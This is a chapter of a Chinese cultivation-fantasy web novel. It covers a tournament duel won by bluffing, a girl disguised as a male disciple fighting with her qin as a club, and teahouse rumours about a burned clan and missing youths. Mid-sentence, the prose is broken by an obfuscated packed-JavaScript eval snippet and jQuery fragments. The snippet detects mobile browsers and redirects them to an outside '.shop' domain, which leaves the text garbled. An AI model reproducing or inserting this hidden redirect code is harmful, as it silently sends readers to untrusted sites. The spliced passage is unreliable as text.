38. 第 38 章
作品:《没有主角光环,但是女主》 齐慕山的软剑,就缠在他的腰间,加了点幻变之术,伪装成一条紫金腰带。
七杀殿多出毒修,偏偏齐慕山是宗门中的异端,是个剑修,这是叶岑没想到的。
这也就算了,毒修该有的好品质,他一个也没落下学。估计一早就看出了她结阵全靠一双金丝手套,骚话那么多,就是为了趁她放松警惕,除了她的手套。
不愧是诡计多端的骚男人。
叶岑说不出话了。
齐慕山就站在她的侧后方,拿剑横在她脖颈前,满脸的志得意满。
又因为生着一双狐狸眼,这点志得意满,就显出几分风骚的味道。
叶岑沉默片刻,却是咧嘴笑了:“我也有件事忘了说。”
齐慕山眯了眯眼。
叶岑叹了一口气:“你恐怕动不了了。”
叶岑还带着手套的左手轻巧一勾,一道金色的光芒如同灵巧的蛇,从她的指间蹿出去,跳到地上,一路蜿蜒向前,所过之处,便成了金线,最终线与线首尾交汇,一个呈六芒星状的缚灵阵便显现在大家眼前。
——笑死,齐慕山是擅长诡道,可她叶岑,也是个进浮屠塔都带两块魂玉的人,性情如此谨慎,焉能不做两手准备?
表面上看,被勾掉金丝手套使她陡然落于下风,可安之那不是个陷阱,而只是个破绽呢?
毕竟最优秀的猎手,往往是以猎物的身份出现的。
叶岑笑着后退一步,从齐慕山的禁锢中脱出身来,没带手套的右手中,却执了把短匕首,正抵在他的腰间:“我虽然是个符修,偶尔也喜欢用一些小武器呢。”
叶岑嘻嘻一笑,换了左手执匕首,右手响指一打,在指尖给自己绽放了一躲庆祝的小烟花:“齐道友,在下不才,险胜。”
齐慕山脸上的笑意已经完全消失不见了。
他的目光紧紧盯在叶岑的指尖,于是那从小烟花就倒影在他的一双眼中,瞧着一闪一闪的,璀璨得很。
叶岑维持着胜利者的姿势,面上始终挂着笑,指尖的烟花也始终盛放着,哔啵作响。
齐慕山盯了那团烟花多久,烟花便盛放了多久,叶岑也笑了多久。
笑到后来,脸都要僵了。
——他爹的,谁知道齐慕山是个什么性子的人?他已经看出了她的弱点就在一双手套上,若是下了擂台到处去宣传怎么办?
叶岑只能硬着头皮在指尖放烟花,以此证明她结阵靠的不是手套,之所以打架戴手套,不过是个人癖好而已。
也好在这缚灵阵不但能禁锢修士,也能留住一部分灵气,让她不靠手套也能徒手放出这么一小朵烟花,虚张声势。
但是这人到底要看多久啊?没有了金丝手套,她的灵力不是用之不竭,再拖下去,要支撑不住的呀。
终于,在盯着那团烟花看了许久之后,齐慕山抬眸看向叶岑,嘴角又挂上惯常有的邪魅笑容:“白道友技法高超,实非在下所能比拟。”
他叹了一口气,坦荡道:“我认输了。”
齐慕山一认了输,战局便是结束了。
于是叶岑也收回匕首,大手一挥,撤了缚灵阵,也拿回了金丝手套,仔仔细细地给自己的右手重新戴上。
齐慕山看着她戴手套,状似无意地问道:“白道友这手套薄如蝉翼,倒是也别致。”
“嗐,”叶岑不在意地从芥子囊中取出一叠手套,“旁人喜爱朱钗,我偏爱手套,因此定做了许多双。”
她说着,将手套展示给齐慕山看,赤橙黄绿青蓝紫,各色的都有,抖一抖,亮瞎人眼。
都是先前定做时,做废了的普通样板,但是叶岑撒谎不打草稿,面不改色还要装大方:“齐道友喜欢吗?喜欢可以送给你。”
她抽出一双猪肝紫的:“我看这个就好看,和齐道友的校服颜色也相称。”
齐慕山面色大变,连连摆手:“谢谢好意,还是不必了。”
然后落荒而逃。
靠,好丑,真的好丑。
八辈子没见过这么丑的手套。
叶岑看着他仓皇逃走的背影,讪讪一笑,将手套们叠好,重新装回了芥子囊。
此一战,虽然赢得不算干脆利落,但胜在足够装【——】,反倒显得实力莫测了。
叶岑小手一背,嘴角挂着得意的笑容,飘飘然若遗世独立的仙人,在众人或崇拜或试探的目光中,优雅地下了擂台。
然而一走上朱雀阁,走到座位旁,她却身形一歪,差点没摔倒。
因为她望见那水幕之上,一袭红衣的荀鸢鸢早就开打了,她手中是她常用的短玉笛,而她的身后,是秃鹫、夔牛、化蛇、独角兽,甚至还有大象!
好家伙,整个一个动物世界。
这,就是有钱人家的擂台赛吗?
别说她的对手无处可躲,整个屏幕上飞禽走兽一大堆,根本连对面的人影都瞧不见!
荀鸢鸢赢得毫无悬念。
毫无情感的唱喏声透过层层天幕传来朱雀阁,宣判了她的胜利:“长庆荀氏,荀鸢鸢胜。”
接着,那有如洪钟的声音顿了顿,又道,下一场,归一门傅司枞,对青云门,金行之。
叶岑:“?”
金行之来都没来,什么时候抽的签?
她这么想着,没留神把心中的疑问说出了声。
身后一道声音回答道:“我替他抽的签。”
回身一看,是江莳。
她不知去干了什么事,原本打理得很清爽的长发全都披散下来,身上穿的,似乎还是男弟子的校服。
叶岑:“……你怎么穿成这样?”
江莳不答,只是取出一支白玉簪,一边挽发,一边道:“我要替金师兄上擂台。”
叶岑:“?”
她瞧着江莳将头发挽成男子样子,但是顶着这样清秀的五官,大眼睛还又圆又亮,像个紫葡萄,无论怎么瞧,都还是个小女娃娃的样子啊!
江莳:“我们青云门,一荣俱荣,一损俱损,就算要输,也只能输给自己人。前三甲,我们都要进去,一个人也不能少。”
叶岑:“可是小江……”
江莳:“师姐不必担心,我一定不会输的。”
叶岑:“……”
我担心的不是这个啊喂!我担心的是你这女扮男装这么蹩脚,肯定一上台就会被人认出来吧!!!
叶岑就眼睁睁看着挽好发的江莳走下朱雀阁,站上传送阵,再次出现在了瀑布的水幕中。
叶岑环顾四周,心惊胆战,大气都不敢出,生怕有人提出质疑。
果然有人觉得不对劲。
只见水幕之上,傅司枞看着女扮男装的江莳,眉头缓缓蹙起:“阁下……是青云门的金行之?”
叶岑心头突突一跳——看吧!这小细皮嫩肉的,很容易就能让别人看穿了!
江莳面不改色地睁着眼睛说瞎话:“是。”
傅司枞的眉头皱得更深了。他是个勤劳务实的修士,为了能在这次试剑大会中走得更远,一早就做了很多的功课,把要来参加大会的所有弟子的个人信息都熟读背诵,因此分明记得,青云门的金行之,是个琴修啊!
他自己也是个琴修,很期待在试剑大会中跟金行之对上,大家都是大宗门出来的弟子,正好一较高下。
可眼前这个人,手边连把琴都没有,空着手就上来了,果真是金行之吗?
傅司枞拧着眉,问出了心中的疑问:“可金行之……不是个琴修吗?”
“哦哦,”江莳应了一声,从善如流从芥子囊中掏出了文凰,“来吧。”
叶岑:“?”
关注点竟然在这里吗?相较之下,分明是“他”的性别更值得质疑吧!
傅司枞这才放下心来,长袖一挥,一把双燕琴出现在了他的跟前,让他一抬手就能拨动琴弦。
傅司枞抬眼看对面,彬彬有礼道:“归一门傅司枞,请金行之道友指教。”
假扮成金行之的江莳:“指教谈不上。”
然后两手抓着文凰的一端,将琴高高举起。
傅司枞:“?”
叶岑:“??”
四象院中观战的一众修士:“???”
很多年以后,人们说起这一年的试剑大会,都对青云门金行之与归一门傅司枞的这一场比试记忆犹新。
那个叫金行之的琴修,他将琴做烧火棍,抡起来就砸,砸得对方抱头鼠窜,根本弹不出一个完整的音节!
但是你要说他违规,又挑不出什么错处——谁规定琴修只能拨弦弹奏,而不能拿来砸人呢?
只能说,噫吁嚱,真他娘的前无古人、后无来者,好别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916041|190790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
致的一个琴修!
这一天,叶岑、江莳,还有江莳假扮的“金行之”,虽然几经波折,但总算有惊无险,全都晋级了。
下一场比试安排在两天之后,这天夜里,叶岑带着江莳打扮一番,出现在了城南的一座茶楼里——她始终觉得,前一夜的琴音也好,红衣女子也好,处处透着诡异。
她就不信那么多人的生魂都出城走了一遭,没一个人对此有印象的。
而在繁华城镇中,打探消息最好的去处,便是茶楼酒肆。
茶楼里满是闲谈的茶客。
叶岑与江莳换上常服,低调地选了个二楼窗边的位置。
不远处,一个说书先生正在眉飞色舞地讲一些旧闻琐事,这回讲的是明州有名的炼器世家文家的故事。
说书先生将惊堂木一拍,道:“当年文家一场大火,什么都烧没了,所有人都觉得,文家上下一百三十二口人,也都被烧死在了那场大火中,其实则不然。”
说书先生道:“事实上,有一人从那场大火中保住了一条命,活了下来。这人便是文家最小的小公子,文灯。”
“这文灯公子啊,他可厉害,年轻一辈中,在炼器上,就属他有天分。文家人炼器,除了炼制法器,也做仿生的活物,什么仿生鸟啦、仿生马啦。但是这小公子不一样,他可以仿活人!这仿出来的活人啊,肌肤纹理、皮毛发丝……”说书先生说着,刻意压低了声,显出讳莫如深的样子。
众人被这紧张的氛围感染,也纷纷屏住呼吸。
茶楼这一片正安静的时候,说书先生陡然拔高了声调:“都跟活人的一样啊!”
大家都被吓了一跳,有的人觉得自己的汗毛都立起来了,于是忿忿地扣他话语里的细节:“都说是‘仿生’了,怎么还能被称为‘活物’呢?”
说书先生:“唉,就是这么一种描述而已嘛。”
又有人道:“来,我问你,既然那个那么厉害的文灯小公子活了下来,他人呢?他这样有天分,可是近来,大殷根本没出过什么厉害炼器师啊!”
一人附和道:“就是,说得跟你亲眼见过似的。”
于是满堂的茶客都哄笑起来,空气里充满了快活的味道。
说书先生脸都涨红了,赶紧换了个故事说。
茶客们却已经顺着他先头讲的文家故事说开了。
叶岑耳力好,听到近旁的一桌茶客议论:“这文家少爷的故事,我也听说过。不过我听到的这个版本,同这说书先生讲的可不一样。”
旁人问道:“怎么说?”
“我听人说啊,这文家小少爷,确实是死了。但是他死不瞑目,一口气堵在心口,就化成了个厉鬼!”
“他们文家那把火烧得蹊跷,哪家不小心走水,能烧得什么都不剩的?分明是有人刻意灭门!文家小少爷成了厉鬼,也不晓得要找谁报仇。可是报仇报不了,心里的怨气也散不了,这样子不行的呀。”
“那少爷死的时候年纪轻轻的,都没有讨媳妇,是个少年人嘞,死后成了厉鬼,又找不到人报仇,就把气撒在年轻男女身上。”
那人压低了声道:“你没注意过,我们临川城,这两年里,总有年轻男女失踪的案子吗?每次都是高高抬起,轻轻放下,到后来啊,不了了之了。”
“那你说,咱们城主,也算是个一心为民的大好人了吧?但是这些案子当初都是捅到城主那里去的了,最后还不是……人再厉害,还能斗得过厉鬼啊?也是没什么办法。”
他们说着,齐齐叹了一口气。
叶岑听得分明,心中一动,想,什么失踪的少男少女,难道那城外弹琴的红衣女子,也同这事有关?
正想着,江莳扯了扯她的衣袖。
叶岑抬头,江莳正透过窗户望着外头的街市,伸手一指:“你瞧,荀家大小姐。”
叶岑顺着江莳指的方向往人堆里一看,果然瞧见荀鸢鸢。
她不同于白日的嚣张跋扈,身上穿的是一身低调的黑,眉头还紧锁着,整个脸上写着“行色匆匆”,步伐却行得并不快,走走停停的,似乎还在探查什么。
叶岑:“她怎么鬼鬼祟祟的?”
江莳摇头。
叶岑:“啧,有蹊跷。”
叶岑于是放下茶盏,将茶钱往桌上一拍,脑袋一甩:“走,跟上去瞧瞧。”

